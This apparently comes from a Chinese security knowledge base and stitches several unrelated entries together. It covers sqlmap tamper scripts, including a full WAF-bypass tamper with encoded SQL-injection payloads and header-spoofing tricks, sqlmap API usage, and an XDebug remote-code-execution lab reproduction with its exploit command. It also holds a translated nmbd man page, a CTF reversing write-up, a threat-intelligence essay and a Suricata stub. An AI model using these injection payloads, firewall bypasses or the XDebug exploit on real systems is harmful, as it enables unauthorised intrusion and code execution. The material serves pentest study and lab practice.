> Replaces each keyword character with upper case value (e.g. select -> SELECT)
将关键字符替换成大写
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
```py
>>> tamper('insert')
'INSERT'
```
### varnish.py
> Appends a HTTP header 'X-originating-IP' to bypass Varnish Firewall
附加一个HTTP头来 X-originating-IP = "127.0.0.1" 来绕过防火墙
Reference:
* https://web.archive.org/web/20160815052159/http://community.hpe.com/t5/Protect-Your-Assets/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366
Examples:
```
>> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
>> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
>> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
>> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
>> X-remote-IP: * or %00 or %0A
```
### versionedkeywords.py
> Encloses each non-function keyword with (MySQL) versioned comment
Requirement:
* MySQL
Tested against:
* MySQL 4.0.18, 5.1.56, 5.5.11
```py
>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
```
### versionedmorekeywords.py
> Encloses each keyword with (MySQL) versioned comment
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.56, 5.5.11
```py
>>> tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#')
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
```
### xforwardedfor.py
> Append a fake HTTP header 'X-Forwarded-For' (and alike)
附加多个虚假的 HTTP 头
```py
headers["X-Forwarded-For"] = randomIP()
headers["X-Client-Ip"] = randomIP()
headers["X-Real-Ip"] = randomIP()
headers["CF-Connecting-IP"] = randomIP()
headers["True-Client-IP"] = randomIP()
headers["Via"] = "1.1 Chrome-Compression-Proxy"
headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]
```
### bypass
- 来自 : https://mp.weixin.qq.com/s/vjbQT41O4MSPoZY9fej_cw
```py
#!/usr/bin/env python2
#user by: XG
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
# ALiYun mysql
# index.php?id=336699dfg
retVal = re.sub(r" ", "%20", retVal)
retVal = re.sub(r"\'\)%20AND%20", "%27%29%2f%2a%20%30%30%7d%7d%29%5d%5b%2a%2f%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"\)%20AND%20", "%29%2f%2a%30%30%7d%7d%29%5d%5b%2a%2f%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"\'%20AND%20", "%27%20%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"%20AND%20", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aAND%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"%20OR%20NOT%20", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aOR%20NOT%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"%20OR%20", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aOR%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"=", "%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aLIKE%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0a", retVal)
retVal = re.sub(r"\'%20UNION", "%27%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aUNION", retVal)
retVal = re.sub(r"UNION%20SELECT%20", "UNION%0d%0a%20%2d%2d%20%81/*%99%20%0d%0a%0d%0a%0d%0aSELECT%0d%0a%20%2d%2d%20%81/*%99%0d%0a%0d%0a", retVal)
retVal = re.sub(r"UNION%20ALL%20SELECT%20", "UNION%0d%0a%20%2d%2d%20%81/*%99%20%0d%0a%0d%0a%0d%0aALL%20SELECT%0d%0a%20%2d%2d%20%81/*%99%0d%0a%0d%0a", retVal)
retVal = re.sub(r"%20FROM", "%0d%0a%20%2d%2d%20%87%0d%0aFROM", retVal)
retVal = re.sub(r"FROM%20INFORMATION_SCHEMA\.", "FROM%0d%0a%20%2d%2d%20%5d%5b%81%20%0d%0aINFORMATION_SCHEMA%0d%0a.", retVal)
retVal = re.sub(r"CASE%20", "CASE%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)
retVal = re.sub(r"THEN%20", "THEN%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)
retVal = re.sub(r"ELT\(", "ELT%20%2d%2d%20%29%29%29%29%29%29%0d%0a%28", retVal)
#retVal = re.sub(r"\(SELECT%20", "%28%20%2d%2d%0d%99%20%0d%0aSELECT%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)
#retVal = re.sub(r"\(SELECT%20", "%28%20%2d%2d%0d%99%5b%5d%20%0d%0aSELECT%0D%0A%0d%2d%2d%20%99%29%20%0d%0a", retVal)
retVal = re.sub(r"\(SELECT%20", "%28%20%20%23%20%2f%2a%99%29%5d%5b%7b%7d%23%5b%5d%0aSELECT%20", retVal)
retVal = re.sub(r"SELECT%20\(", "SELECT%20%2d%2d%20%29%29%29%5b%5d%7b%7d%0d%0a%28", retVal)
retVal = re.sub(r"CONCAT\(", "CONCAT%20%23%20%89%0d%0a%28", retVal)
retVal = re.sub(r"CHR\(", "CHR%20%2d%2d%20%29%29%29%29%5b%5d%7b%7d%0d%0a%28", retVal)
retVal = re.sub(r"CHAR\(", "CHAR%20%2d%2d%20%29%29%29%29%5b%5d%7b%7d%0d%0a%28", retVal)
retVal = re.sub(r"EXTRACTVALUE\(", "EXTRACTVALUE%20%23%20%89%0d%0a%28", retVal)
#retVal = re.sub(r"%20INFORMATION_SCHEMA", "%20/*like%22%0d%0a%20%2d%2d%20%0d%22*/%20%0d%0a%20INFORMATION_SCHEMA%0d%0a", retVal)
return retVal
```
---
## ACCESS
**相关文章**
- [sqlmap注入access数据库](https://www.jianshu.com/p/258d7014f84c)
- [使用SQLMap进行Access注入](https://4hou.win/wordpress/?p=17495)
---
## API接口
**相关文章**
- [SQLMAPAPI-一个被遗忘的API接口《第一章:初识SQLMAP API和命令行中调用》](https://mp.weixin.qq.com/s/8Im5PxG8j1lKh4jefs9d3A)
- [SQLMAPAPI-一个被遗忘的API接口《第二章:从代码层面去分析API接口的强大》](https://mp.weixin.qq.com/s/v-VccG2Tay5A3L_v0SnxoA)
**使用方式**
```bash
python3 sqlmapapi.py -s -H 0.0.0.0 # 开启服务端,监听本地 8775 端口
```
开启服务端后我们可以访问 url 进行调用,也可以在命令行进行调用
```bash
python3 sqlmapapi.py -c # 默认连接本机的 api
```
没有问题就可以进入我们的命令行了
命令行下可以使用以下命令
```
help 显示帮助信息
new ARGS 开启一个新的扫描任务 (e.g. 'new -u "http://testphp.vulnweb.com/artists.php?artist=1"')
use TASKID 切换taskid (e.g. 'use c04d8c5c7582efb4')
data 获取当前任务返回的数据
log 获取当前任务的扫描日志
status 获取当前任务的扫描状态
option OPTION 获取当前任务的选项
options 获取当前任务的所有配置信息
stop 停止当前任务
kill 杀死当前任务
list 显示所有任务列表
version 查看版本信息
flush 清空所有任务
exit 退出客户端
```
开始扫描新的任务
```bash
new -u 'http://testphp.vulnweb.com/artists.php?artist=1'
```
可以看到已经切换到我们这个任务的 ID.
每一个任务只能是一个单独测试点,每个任务对应一个 ID
创建成功后就会这样,之后我们可以通过输入 status 来获取当前的一个运行情况
```
status
```
SQLMAP API 扫描完成后,不会进行主动推送完成信息
returncode 如果返回的是 0,那么我们的注入就是成功的。我们可以输入 data 来获取我们的详细的信息。
```
data
```
返回的数据都是 JSON 格式的数据
|
sec-knowleage
|
# XDebug 远程调试漏洞(代码执行)
XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置`remote_connect_back = 1`:
```
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
```
这个配置下,我们访问`http://target/index.php?XDEBUG_SESSION_START=phpstorm`,目标服务器的XDebug将会连接访问者的IP(或`X-Forwarded-For`头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
更多说明可参考:
- https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface
- https://xdebug.org
## 测试环境
编译及启动测试环境
```
docker compose build
docker compose up -d
```
启动完成后,访问`http://your-ip:8080/`即可发现主页是一个简单的phpinfo,在其中可以找到xdebug的配置,可见开启了远程调试。
## 漏洞利用
因为需要使用dbgp协议与目标服务器通信,所以无法用http协议复现漏洞。
我编写了一个[漏洞复现脚本](exp.py),指定目标web地址、待执行的php代码即可:
```
# 要求用python3并安装requests库
python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');'
```

**重要说明:因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)。**
|
sec-knowleage
|
.de Sh \" Subsection
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Ip \" List item
.br
.ie \\n(.$>=3 .ne \\$3
.el .ne 3
.IP "\\$1" \\$2
..
.TH "NMBD" 8 "" "" ""
.SH NAME
nmbd \- 向客户端提供构造在IP之上的NetBIOS名字服务的NetBIOS名字服务器
.SH "总览 SYNOPSIS"
\fBnmbd\fR [-D] [-F] [-S] [-a] [-i] [-o] [-h] [-V][-d <debug level>] [-H <lmhosts file>] [-l <log directory>][-n <primary netbios name>] [-p <port number>] [-s <configuration file>]
.SH "描述 DESCRIPTION"
.PP
此程序是 \fBSamba\fR(7) 套件的一部分。
.PP
\fBnmbd\fR 是一个回应构造于IP之上的NetBIOS名字服务请求的服务器,这些请求由SMBD/CIFS
客户(如Windows 95/98、NT和LanManager客户)产生。当然它也参与构造Windows的"网
络邻居”查看的浏览协议。
.PP
当SMB/CIFS客户机启动时,会试图查找一个SMB/CIFS服务器。说得更精确些就是它们要知道
正在使用的主机对应的IP地址。
.PP
在其它的服务中,\fBnmbd\fR 将监听这样的请求,如果客户自身的NetBIOS名字已被指定的话就用正
在运行的主机IP地址回复它。这个“自身的NetBIOS名字”在默认情况下将是正在运行的主机在
DNS中的名字,但可以用 \fB-n\fR 参数(查看后面关于OPTIONS的描述)越过它。从而\fBnmbd\fR 将用它自已的名字来回应广播查询。要让 \fBnmbd\fR 回应额外名字的话可以在\fBsmb.conf\fR(5)配置文件中通过参数来设定。
.PP
\fBnmbd\fR 也可用作一个WINS(Windows互联网名称服务)服务器。它作为WINS数据库服务器运作时,用名字注册请求来建立一个数据库以接收和回应客户对这些名字的查询。
.PP
另外,\fBnmbd\fR 也可以作WINS代理,转发用户不能直接以WINS协议和WINS服务器交谈的广播查询。
.SH "选项 OPTIONS"
.TP
-D
如果指定这个参数的话,将使 \fBnmbd\fR 作为一个后台守护程序运行。这样,它分配本身的进程在后台运行,并监视适当的端口请求。在默认情况下, \fBnmbd\fR 通常以命令行方式启动,后台运行。 \fBnmbd\fR 也能通过\fBinetd\fR 这个超级守护程序来启动,但不推荐这样做。
.TP
-F
If specified, this parameter causes the main \fBnmbd\fR process to not daemonize, i\&.e\&. double-fork and disassociate with the terminal\&. Child processes are still created as normal to service each connection request, but the main process does not exit\&. This operation mode is suitable for running \fBnmbd\fR under process supervisors such as \fBsupervise\fR and \fBsvscan\fR from Daniel J\&. Bernstein's \fBdaemontools\fR package, or the AIX process monitor\&.
.TP
-S
If specified, this parameter causes \fBnmbd\fR to log to standard output rather than a file\&.
.TP
-i
If this parameter is specified it causes the server to run "interactively", not as a daemon, even if the server is executed on the command line of a shell\&. Setting this parameter negates the implicit daemon mode when run from the command line\&. \fBnmbd\fR also logs to standard output, as if the \fB-S\fR parameter had been given\&.
.TP
-h|--help
Print a summary of command line options\&.
.TP
-H <filename>
指定NetBIOS的lmhosts文件。 NetBIOS的lmhosts文件是一份NetBIOS名字到IP地址对应关系的列表, nmbd服务器将会通过在\fBsmb.conf\fR (5)文件中\fIname resolve order\fR描述的名字解析机制来装入和使用这个文件,以便让服务器解析可能的NetBIOS名字查询。注意到nmbd并\fB不\fR用这个文件的内容来回答可能的名字查询。在这个文件中添加内容只会影响本计算机的NetBIOS名字解析。
这个文件的默认存放路径已被作为编译处理的一部分加入到samba中了。通常默认路径是
\fI/usr/local/samba/lib/lmhosts\fR, \fI/usr/samba/lib/lmhosts\fR 或是 \fI/etc/samba/lmhosts\fR。 在\fBlmhosts\fR (5)手册页中查找描述此文件的详细内容。
.TP
-V
打印出nmbd的版本信息。
.TP
-s <configuration file>
The file specified contains the configuration details required by the server\&. The information in this file includes server-specific information such as what printcap file to use, as well as descriptions of all the services that the server is to provide\&. See \fIsmb\&.conf\fR for more information\&. The default configuration file name is determined at compile time\&.
.TP
-d|--debug=debuglevel
\fIdebuglevel\fR 是一个从0到10的整数。如果没有指定此参数则默认的值是0。
如果这个值越高,越多关于服务器的详细活动信息将被记录到文件中。在0调试级时,只记录紧急错误
和严重警告。对于日以即日地运行服务,1调试级是个合理的等级,它只产生一定数量的关于执行操作
的信息。
1以上的调试级将产生相当多的记录数据,并且只在研究问题时才有用。3以上的调试级只被设计为让开
发者使用并会产生极大数量的记录数据,而且其中很多部分非常难以理解。
注意在此使用这个参数将越过在\fIsmb\&.conf\fR 文件中的\fIlog level\fR 参数。
.TP
-l|--logfile=logbasename
用参数-l可以指定一个带路径的文件名作为记录文件,并会在你给出的名称后自动加上
\fB".client"\fR的扩展名。The log file is never removed by the client.
.TP
-p <UDP port number>
UDP端口号是一个正整数。 这个选项来改变\fBnmbd\fR响应查询的默认UDP端口号(通常它是 137) 。除非你是位这方面的专家,否则请不要用这个选项改变它。
.SH "文件 FILES"
.TP
\fI/etc/inetd\&.conf\fR
如果你用 \fBinetd\fR 这个超级守护程序来运行nmbd服务器,那么必须在这个文件中包含适当的启动参数和信息。
.TP
\fI/etc/rc\fR
(也可以是你的系统所用的其它初始化脚本)
如果将nmbd当作服务,在启动时运行,这个文件必须包含合适的服务启动顺序。
.TP
\fI/etc/services\fR
If running the server via the meta-daemon \fBinetd\fR, this file must contain a mapping of service name (e.g., netbios-ssn) to service port (e.g., 139) and protocol type (e.g., tcp).
.TP
\fI/usr/local/samba/lib/smb.conf\fR
这是服务器配置文件 \fBsmb.conf\fR(5) 默认的存放位置。 系统安装配置文件通常的一些其它位置也可能是 \fI/usr/samba/lib/smb\&.conf\fR 和 \fI/etc/samba/smb\&.conf\fR。
当nmbd被用作WINS服务器时(参见 \fBsmb.conf\fR(5) 手册页中对 \fIwins support\fR 参数的描述), \fBnmbd\fR 将会把WINS数据库文件\fIwins.dat\fR写到 \fIvar/locks\fR 目录下。
如果 \fBnmbd\fR 作为 \fB 主浏览器\fR (参见\fBsmb.conf\fR (5)手册页中对\fIlocal master\fR参数的描述),\fBnmbd\fR将会把浏览数据库\fIbrowse.dat \fR写到\fIvar/locks\fR目录下。
.SH "信号 SIGNALS"
.PP
我们 \fB不\fR 推荐你使用SIGKILL (-9)来终止\fBnmbd\fR进程除非这是最后的方法,因为这样做可能导致名字数据库不一致。正确的方法是发送SIGTERM (-15)信号并等待程序自行结束。
.PP
\fBnmbd\fR 可以接受SIGHUP信号,这样程序将把名字清单写入位于\fI/usr/local/samba/var/locks\fR (或是\fIvar/locks\fR)目录下的\fInamelist.debug\fR文件,同时这个信号也将导致程序把服务器的数据库写入\fIlog.nmb\fR文件。
.PP
另外,nmbd程序的调试记录等级也可以通过\fBsmbcontrol\fR(1) 调高或者调低。(向程序发送一个SIGUSR1信号(kill -USR1 <nmbd-pid>)或SIGUSR2信号(kill -USR2 <nmbd-pid>)的方法在Samba2.2 中已经不再使用。) 通过使用这样的方法可以诊断一些暂时的问题,同时仍然可以在一个正常的并且较低的记录等级来运行。
.SH "版本 VERSION"
.PP
此手册页是针对samba套件版本3.0的。
.SH "参见 SEE ALSO"
.PP
\fBinetd\fR(8), \fBsmbd\fR(8), \fBsmb.conf\fR(5), \fBsmbclient\fR(1), \fBtestparm\fR(1), \fBtestprns\fR(1)还有互联网草案 \fIrfc1001.txt\fR, \fIrfc1002.txt\fR. 另外,CIFS (从前的 SMB) 规约可以在 http://samba.org/cifs/网页上找到链接。
.SH "作者 AUTHOR"
.PP
samba软件和相关工具最初由Andrew Tridgell创建。samba现在由Samba Team 作为开源软件来发展,类似linux内核的开发方式。
.PP
最初的samba手册页是 Karl Auer写的。
手册页源码已经转换为YODL格式(另一种很好的开源软件,可以在ftp://ftp.ice.rug.nl/pub/unix找到),由Jeremy Sllison 更新到Samba2.0 版本。
Gerald Carter 在Samba2.2中将它转化为DocBook 格式。
Alexander Bokovoy 在Samba 3.0中实现了DocBook XML4.2 格式的转换。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
## danklang (re, 100p)
> if you see this task while scroling
>
> you have been visited by the reversing task of the 9447 ctf
> good flags and points will come to you
>
> but only if you submit '9447{`dankcode main.dc`}' to this task.
>
> [main.dc](main.dc)
###PL
[ENG](#eng-version)
Przepełnione memami zadanie (co widać nawet po wstępie).
Dostajemy [długi kod w nieistniejącym języku](main.dc).
Ciężko go czytać, więc zaczynamy od przepisania go literalnie do pythona: [main1.py](main1.py).
Widać że jest niesamowicie nieoptymalny - więc po prostu uruchomienie kodu main1.py prawdopodobnie
nie skończyłoby się za naszego życia (a na pewno nie w trakcie trwania CTFa)
Rozpoczynamy rozpoznawanie funkcji które można zoptymalizować:
Na przykład to nic innego niż fibonacci(memes) % 987654321
```python
def brotherman(memes):
hues = 0
if memes != 0:
if memes < 3:
return 1
else:
wew = brotherman(memes - 1)
hues = wew
wew = brotherman(memes - 2)
hues += wew
return hues % 987654321
```
Jako że maksymalna wartość memes nie jest olbrzymia, możemy po prostu obliczyć wcześniej wszystkie wartości (precomputing):
```python
def precompute_fibonacci_mod_987654321():
table = []
N = 13379447+1
result = [0] * N
result[1] = 1
for i in xrange(2, N):
result[i] = (result[i-2] + result[i-1]) % 987654321
return result
precomputed_fibonacci = precompute_fibonacci_mod_987654321()
def fibonacci_mod_987654321(number):
return precomputed_fibonacci[number]
```
Za to tutaj rozpoznajemy funkcję sprawdzającą czy liczba jest pierwsza:
```python
def fail(memes, calcium):
dank = True
if calcium < memes:
if memes % calcium == 0:
dank = False
else:
wew = fail(memes, calcium + 1)
dank = wew
return dank
```
I przepisujemy ją do takiej postaci:
```python
def is_prime(number):
if number % 2 == 0:
return False
else:
for divisor in range(3, int(sqrt(number)) + 1, 2):
if number % divisor == 0:
return False
return True
```
Dochodzimy do takiego stanu: [main2.py](main2.py)
W tym momencie kończą się oczywiste pomysły na optymalizację, a wykonanie dalej jest bardzo powolne. Decydujemy się więc
na więcej precomputingu, i obliczać z góry wszystko co się da.
Przepisujemy więc sprawdzanie pierwszych:
```python
def precompute_primes():
limit = 13379447 + 1
a = [True] * limit
for i in xrange(2, len(a)):
isprime = a[i]
if isprime:
for n in xrange(i*i, limit, i):
a[n] = False
return a
primes = precompute_primes()
def is_prime(number):
return primes[number]
```
funkcję dootdoot (nie rozpoznaliśmy jej, a wygląda na jakąś znaną funkcję z prostym wzorem matematycznym):
```python
def dootdoot(memes, seals):
if seals <= memes:
if seals == 0:
return 1
else:
if seals == memes:
return 1
else:
return dootdoot(memes - 1, seals - 1) + dootdoot(memes - 1, seals)
```
Na taką formę:
```python
def precompute_dootdoot():
table = []
MAXH, MAXW = 6, 13379447+1
for i in range(MAXH):
table.append([0] * MAXW)
for i in range(0, MAXH):
for j in xrange(0, MAXW):
if i > j:
table[i][j] = 0
elif i == 0:
table[i][j] = 1
elif i == j:
table[i][j] = 1
else:
table[i][j] = table[i][j-1] + table[i-1][j-1]
return table
dootdoot_table = precompute_dootdoot()
def dootdoot(memes, seals):
return dootdoot_table[seals][memes]
```
Na końcu trzy powiązane funkcje - such, epicfail i bills:
```python
def epicfail(memes):
if memes > 1:
if dank(memes, 2):
return 1 + bill(memes - 1)
else:
return such(memes - 1)
return 0
def such(memes):
wow = dootdoot(memes, 5)
if wow % 7 == 0:
wew = bill(memes - 1)
wow += 1
else:
wew = epicfail(memes - 1)
wow += wew
return wow
def bill(memes):
wow = fibonacci_mod_987654321(memes)
if wow % 3 == 0:
wew = such(memes - 1)
wow += 1
else:
wew = epicfail(memes - 1)
wow += wew
return wow
```
Do takiej postaci:
```python
def bill(memes):
wow = fibonacci_mod_987654321(memes)
if wow % 3 == 0:
wew = suchs[memes - 1]
wow += 1
else:
wew = epicfails[memes - 1]
wow += wew
return wow
def such(memes):
wow = dootdoot(memes, 5)
if wow % 7 == 0:
wew = bills[memes - 1]
wow += 1
else:
wew = epicfails[memes - 1]
wow += wew
return wow
def epicfail(i):
if i > 1:
if is_prime(i):
return 1 + bill(i - 1)
else:
return such(i - 1)
return 0
epicfails = [0] * (13379447 + 1)
suchs = [0] * (13379447 + 1)
bills = [0] * (13379447 + 1)
def upcompute_epicfails():
for i in xrange(1, 13379447+1):
if i % 10000 == 0:
print i
epicfails[i] = epicfail(i)
suchs[i] = such(i)
bills[i] = bill(i)
upcompute_epicfails()
```
W tym momencie rozwiązanie zadania staje sie trywialne - skoro mamy już wszystkie wartości wyliczone, starczy
pobrać wynik z tablicy:
```python
def me():
memes = 13379447
wew = epicfails[memes]
print(wew)
```
Przepisywanie tego zajęło dość dużo czasu, ale ostatecznie doszliśmy do takiej formy jak [main3.py](main3.py).
Uruchomiony kod wykonywał się dość długo, ale ostatecznie dostaliśmy wynik: `2992959519895850201020616334426464120987`
Po dodaniu stałych części:
9447{2992959519895850201020616334426464120987}
Zdobywamy punkty
### ENG version
Task full of memes (which you can see even from the task description).
We get a [long code in a made-up language](main.dc).
It's difficult to read so we rewrite it to python: [main1.py](main1.py).
It is clear that it's not optimal and execution of main1.py would not finish before we die (and for sure not before CTF ends).
We start with trying to recognize some function we could optimize:
For example this function is fibonacci(memes) % 987654321:
```python
def brotherman(memes):
hues = 0
if memes != 0:
if memes < 3:
return 1
else:
wew = brotherman(memes - 1)
hues = wew
wew = brotherman(memes - 2)
hues += wew
return hues % 987654321
```
And since the memes variable is not so big, we can simply calculate all values before (precomputing):
```python
def precompute_fibonacci_mod_987654321():
table = []
N = 13379447+1
result = [0] * N
result[1] = 1
for i in xrange(2, N):
result[i] = (result[i-2] + result[i-1]) % 987654321
return result
precomputed_fibonacci = precompute_fibonacci_mod_987654321()
def fibonacci_mod_987654321(number):
return precomputed_fibonacci[number]
```
Here we recognize primarity test:
```python
def fail(memes, calcium):
dank = True
if calcium < memes:
if memes % calcium == 0:
dank = False
else:
wew = fail(memes, calcium + 1)
dank = wew
return dank
```
And change it for a faster one:
```python
def is_prime(number):
if number % 2 == 0:
return False
else:
for divisor in range(3, int(sqrt(number)) + 1, 2):
if number % divisor == 0:
return False
return True
```
We end up with a new version: [main2.py](main2.py)
At this point we run out of obvious ideas to optimize the code, and the execution time is still too long. We decide to do even more precomputing and just calculate all possible values.
We precompute primarity check:
```python
def precompute_primes():
limit = 13379447 + 1
a = [True] * limit
for i in xrange(2, len(a)):
isprime = a[i]
if isprime:
for n in xrange(i*i, limit, i):
a[n] = False
return a
primes = precompute_primes()
def is_prime(number):
return primes[number]
```
Function dootdoot (we didn't recognize it at the time, but it is just number of combinations):
```python
def dootdoot(memes, seals):
if seals <= memes:
if seals == 0:
return 1
else:
if seals == memes:
return 1
else:
return dootdoot(memes - 1, seals - 1) + dootdoot(memes - 1, seals)
```
We change into:
```python
def precompute_dootdoot():
table = []
MAXH, MAXW = 6, 13379447+1
for i in range(MAXH):
table.append([0] * MAXW)
for i in range(0, MAXH):
for j in xrange(0, MAXW):
if i > j:
table[i][j] = 0
elif i == 0:
table[i][j] = 1
elif i == j:
table[i][j] = 1
else:
table[i][j] = table[i][j-1] + table[i-1][j-1]
return table
dootdoot_table = precompute_dootdoot()
def dootdoot(memes, seals):
return dootdoot_table[seals][memes]
```
And finally three connected function - such, epicfail i bills:
```python
def epicfail(memes):
if memes > 1:
if dank(memes, 2):
return 1 + bill(memes - 1)
else:
return such(memes - 1)
return 0
def such(memes):
wow = dootdoot(memes, 5)
if wow % 7 == 0:
wew = bill(memes - 1)
wow += 1
else:
wew = epicfail(memes - 1)
wow += wew
return wow
def bill(memes):
wow = fibonacci_mod_987654321(memes)
if wow % 3 == 0:
wew = such(memes - 1)
wow += 1
else:
wew = epicfail(memes - 1)
wow += wew
return wow
```
Are changed into:
```python
def bill(memes):
wow = fibonacci_mod_987654321(memes)
if wow % 3 == 0:
wew = suchs[memes - 1]
wow += 1
else:
wew = epicfails[memes - 1]
wow += wew
return wow
def such(memes):
wow = dootdoot(memes, 5)
if wow % 7 == 0:
wew = bills[memes - 1]
wow += 1
else:
wew = epicfails[memes - 1]
wow += wew
return wow
def epicfail(i):
if i > 1:
if is_prime(i):
return 1 + bill(i - 1)
else:
return such(i - 1)
return 0
epicfails = [0] * (13379447 + 1)
suchs = [0] * (13379447 + 1)
bills = [0] * (13379447 + 1)
def upcompute_epicfails():
for i in xrange(1, 13379447+1):
if i % 10000 == 0:
print i
epicfails[i] = epicfail(i)
suchs[i] = such(i)
bills[i] = bill(i)
upcompute_epicfails()
```
And now solving the task is trivial - we have all values calculated so we simply need to read the result from the array:
```python
def me():
memes = 13379447
wew = epicfails[memes]
print(wew)
```
It took us a while to rewrite this but we finally got [main3.py](main3.py).
The code was still running for quite a while but finally we got the result: `2992959519895850201020616334426464120987` which resulted in flag:
9447{2992959519895850201020616334426464120987}
|
sec-knowleage
|
# 威胁情报的生命周期
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814121735.png" style="zoom:50%;" />
图:威胁情报的生命周期[1]
## 一个中心
> Plan(企业威胁情报计划):这里的Plan实际上是指安全管理团队针对威胁情报所指定的情报计划,情报计划应包括威胁情报对应的安全风险点(包括但不限于业务安全、IT资产安全)、对应情报大类(包括但不限于战术情报、战略情报、运营情报、二次生产情报)、情报小类(包括但不限于pDNS情报、Whois情报、钓鱼网站情报、黑产情报)以及闭环跟进流程。一套完整的情报计划实际上是可以达到指导现有安全体系建设和改进方向作用的。[2]
简单来说,一个关于情报的计划是用来回答以下的几个问题:**针对什么?要做什么?怎么做?怎么安排?**
对应以下的几个技术需求:
- 分析和确定**安全风险点**
- 业务安全
- IT资产安全
- ...
- 关于**情报大类**的研究
- 按使用场景分
- 战术情报
- 战略情报
- 运营情报
- 按类型分
- 资产情报
- 事件情报
- 漏洞情报
- 威胁情报
- ...
- 关于**情报小类**(安全威胁情报)的研究
- pDNS情报
- Whois情报
- 钓鱼网站情报
- 黑产情报
- ...
- 规划**闭环跟进流程**
- 组织和规划整个威胁情报的发现、生产、交付等整个环节
- ...
## 五个环节
### Collection
情报收集
- 按照情报计划,收集我们需要情报数据和原始数据
### Pre-Processing & Utilization
威胁情报预处理与利用环节
- 对原始情报信息进行预处理和应用场景分析,确定适用的范围和目标
### Analysis & Production
威胁情报分析与生产
- 按照情报计划,分析与处理之后的数据,生产最终的情报(也就是所谓的FINTEL)
### Transmission
情报输送
- 输送FINTEL至客户(也就是安全运营团队)并使用情报
在情报传输阶段,需要考虑的几个问题:
- 我需要输送何种类型的情报:YARA规则?MD5?IPtables规则?etc.?hotfix补丁?
- 我需要输送面向何种目标的情报:中间件?核心技术?etc.?
- 我需要收集目标的何种信息:中间件版本?操作系统版本?所用技术的名称和版本?
- 我需要用何种介质输送终端情报:Agent?规则列表?运维脚本?
### Planning & Direction
威胁情报的计划优化与修订
- 制定情报计划,确定我们需要交付何种类型的情报
- 情报有效期结束,重新制定或修正现有的情报计划,进入下一个循环
## 相关参考
- https://zhuanlan.zhihu.com/p/129064940
- https://zhuanlan.zhihu.com/p/38532724
- https://zhuanlan.zhihu.com/binandhex
## References
\[1] 从EDR到威胁情报运营——浅谈终端化的情报部署, [e1knot](https://www.zhihu.com/people/elknot), https://zhuanlan.zhihu.com/p/38009342
\[2] 浅谈威胁情报从甲方运营到乙方交付, [e1knot](https://www.zhihu.com/people/elknot), https://zhuanlan.zhihu.com/p/38532724
|
sec-knowleage
|
# Suricata
<p align="center">
<img src="../../../assets/img/logo/Suricata.png" width="22%">
</p>
---
## 免责声明
